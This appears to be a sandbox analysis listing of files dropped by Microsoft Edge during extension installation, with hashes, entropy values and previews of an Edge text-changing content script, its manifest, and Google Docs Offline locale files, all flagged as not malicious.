SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5064_1530354615\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5064_1530354615\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5064_1530354615\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\5556ae17-1689-4fad-bd1d-d293b7675e1a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
